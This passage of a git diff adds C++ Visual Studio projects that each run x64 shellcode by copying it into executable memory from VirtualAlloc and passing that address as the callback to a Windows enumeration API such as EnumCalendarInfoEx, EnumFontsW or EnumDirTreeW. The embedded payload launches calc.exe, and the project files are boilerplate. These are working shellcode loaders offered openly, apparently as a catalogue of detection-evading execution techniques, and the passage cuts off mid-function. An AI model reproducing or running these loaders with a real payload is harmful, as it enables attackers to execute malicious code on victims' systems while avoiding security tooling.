+"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + +int main() { + LPVOID addr = ::VirtualAlloc(nullptr, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + ::RtlMoveMemory(addr, op, sizeof(op)); + ::EnumCalendarInfoEx((CALINFO_ENUMPROCEX)addr, LOCALE_USER_DEFAULT, ENUM_ALL_CALENDARS, CAL_SMONTHNAME1); +} \ No newline at end of file diff --git a/EnumCalendarInfoEx/EnumCalendarInfoEx.vcxproj b/EnumCalendarInfoEx/EnumCalendarInfoEx.vcxproj new file mode 100644 index 0000000..a67cfdf --- /dev/null +++ b/EnumCalendarInfoEx/EnumCalendarInfoEx.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {DE7B0D0A-371D-4401-B2A2-A83E891AB90A} + EnumCalendarInfoEx + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumDesktopW/EnumDesktopW.cpp b/EnumDesktopW/EnumDesktopW.cpp index 95b3dc3..370e3e6 100644 --- a/EnumDesktopW/EnumDesktopW.cpp +++ b/EnumDesktopW/EnumDesktopW.cpp @@ -41,13 +41,9 @@ int main() { LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); ::RtlMoveMemory(addr, op, sizeof(op)); - - - HANDLE timer; - HANDLE queue = ::CreateTimerQueue(); - HANDLE gDoneEvent = ::CreateEvent(NULL, TRUE, FALSE, NULL); - ::EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)addr, NULL); + Sleep(10000); + printf("success"); } \ No newline at end of file diff --git a/EnumDesktopWindows/EnumDesktopWindows.cpp b/EnumDesktopWindows/EnumDesktopWindows.cpp new file mode 100644 index 0000000..b601198 --- /dev/null +++ b/EnumDesktopWindows/EnumDesktopWindows.cpp @@ -0,0 +1,48 @@ +#include +#include + + +int err(const char* errmsg) { + + + printf("Error: %s (%u)\n", errmsg, ::GetLastError()); + return 1; + +} + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + +int main() { + + + LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + ::RtlMoveMemory(addr, op, sizeof(op)); + + + if (addr) + ::EnumDesktopWindows(::GetThreadDesktop(::GetCurrentThreadId()), (WNDENUMPROC)addr, NULL); + + +} \ No newline at end of file diff --git a/EnumDesktopWindows/EnumDesktopWindows.vcxproj b/EnumDesktopWindows/EnumDesktopWindows.vcxproj new file mode 100644 index 0000000..2ce3cfd --- /dev/null +++ b/EnumDesktopWindows/EnumDesktopWindows.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {03d224c4-d5ee-4de9-993c-477b1b937aaf} + EnumDesktopWindows + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumDesktopWindows/EnumDesktopWindows.vcxproj.filters b/EnumDesktopWindows/EnumDesktopWindows.vcxproj.filters new file mode 100644 index 0000000..3dbe760 --- /dev/null +++ b/EnumDesktopWindows/EnumDesktopWindows.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EnumDirTreeW/EnumDirTreeW.cpp b/EnumDirTreeW/EnumDirTreeW.cpp new file mode 100644 index 0000000..246f4a6 --- /dev/null +++ b/EnumDirTreeW/EnumDirTreeW.cpp @@ -0,0 +1,42 @@ +#include +#include + +// requires Dbghelp.lib +#include +#pragma comment(lib, "Dbghelp.lib") + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + +int main() { + + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + ::SymInitialize(::GetCurrentProcess(), NULL, TRUE); + + WCHAR dummy[522]; + ::EnumDirTreeW(::GetCurrentProcess(), L"C:\\Windows", L"*.log", dummy, (PENUMDIRTREE_CALLBACKW)address, NULL); + + +} \ No newline at end of file diff --git a/EnumDirTreeW/EnumDirTreeW.vcxproj b/EnumDirTreeW/EnumDirTreeW.vcxproj new file mode 100644 index 0000000..63c0888 --- /dev/null +++ b/EnumDirTreeW/EnumDirTreeW.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {f22c852b-1caa-4132-bdf3-f7afad1d65d2} + EnumDirTreeW + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumDirTreeW/EnumDirTreeW.vcxproj.filters b/EnumDirTreeW/EnumDirTreeW.vcxproj.filters new file mode 100644 index 0000000..83593bf --- /dev/null +++ b/EnumDirTreeW/EnumDirTreeW.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EnumFontFamiliesExW/EnumFontFamiliesExW.cpp b/EnumFontFamiliesExW/EnumFontFamiliesExW.cpp new file mode 100644 index 0000000..14e252c --- /dev/null +++ b/EnumFontFamiliesExW/EnumFontFamiliesExW.cpp @@ -0,0 +1,45 @@ +#include +#include + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + + +int main() { + + + LPVOID address = VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + + LOGFONTW lf = { 0 }; + lf.lfCharSet = DEFAULT_CHARSET; + + + HDC dc = GetDC(NULL); + EnumFontFamiliesExW(dc, &lf, (FONTENUMPROCW)address, NULL, NULL); + + return 0; + +} \ No newline at end of file diff --git a/EnumFontFamiliesExW/EnumFontFamiliesExW.vcxproj b/EnumFontFamiliesExW/EnumFontFamiliesExW.vcxproj new file mode 100644 index 0000000..b83f5d3 --- /dev/null +++ b/EnumFontFamiliesExW/EnumFontFamiliesExW.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {f169f79e-d307-4ea9-818d-8c8ff5b7138d} + EnumFontFamiliesExW + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumFontFamiliesExW/EnumFontFamiliesExW.vcxproj.filters b/EnumFontFamiliesExW/EnumFontFamiliesExW.vcxproj.filters new file mode 100644 index 0000000..814edce --- /dev/null +++ b/EnumFontFamiliesExW/EnumFontFamiliesExW.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EnumFontFamiliesW/EnumFontFamiliesW.cpp b/EnumFontFamiliesW/EnumFontFamiliesW.cpp new file mode 100644 index 0000000..5d8cf23 --- /dev/null +++ b/EnumFontFamiliesW/EnumFontFamiliesW.cpp @@ -0,0 +1,41 @@ +#include +#include + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + + +int main() { + + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + + HDC dc = GetDC(NULL); + EnumFontFamiliesW(dc, NULL, (FONTENUMPROCW)address, NULL); + + return 0; + +} \ No newline at end of file diff --git a/EnumFontFamiliesW/EnumFontFamiliesW.vcxproj b/EnumFontFamiliesW/EnumFontFamiliesW.vcxproj new file mode 100644 index 0000000..491cbe0 --- /dev/null +++ b/EnumFontFamiliesW/EnumFontFamiliesW.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {383ab5c3-dda6-49aa-b3ac-4f8a63cc7460} + EnumFontFamiliesW + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumFontFamiliesW/EnumFontFamiliesW.vcxproj.filters b/EnumFontFamiliesW/EnumFontFamiliesW.vcxproj.filters new file mode 100644 index 0000000..856fbee --- /dev/null +++ b/EnumFontFamiliesW/EnumFontFamiliesW.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EnumFontsW/EnumFontsW.cpp b/EnumFontsW/EnumFontsW.cpp new file mode 100644 index 0000000..b8da1e1 --- /dev/null +++ b/EnumFontsW/EnumFontsW.cpp @@ -0,0 +1,41 @@ +#include + + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + + +int main() { + + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + + HDC dc = GetDC(NULL); + EnumFontsW(dc, NULL, (FONTENUMPROCW)address, NULL); + + return 0; + +} \ No newline at end of file diff --git a/EnumFontsW/EnumFontsW.vcxproj b/EnumFontsW/EnumFontsW.vcxproj new file mode 100644 index 0000000..741df83 --- /dev/null +++ b/EnumFontsW/EnumFontsW.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {0091d5e9-a212-4c34-857f-0db13d272aa2} + EnumFontsW + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/EnumFontsW/EnumFontsW.vcxproj.filters b/EnumFontsW/EnumFontsW.vcxproj.filters new file mode 100644 index 0000000..ce73f66 --- /dev/null +++ b/EnumFontsW/EnumFontsW.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/EnumICMProfiles/EnumICMProfiles.cpp b/EnumICMProfiles/EnumICMProfiles.cpp new file mode 100644 index 0000000..6fcfb70 --- /dev/null +++ b/EnumICMProfiles/EnumICMProfiles.cpp @@ -0,0 +1,39 @@ +// EnumICMProfiles.cpp : This file contains the 'main' function. Program execution begins and ends there. +// + +#include + +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + +int main() { + + + LPVOID addr = VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + ::RtlMoveMemory(addr, op, sizeof(op)); + + HDC dummy = GetDC(NULL); 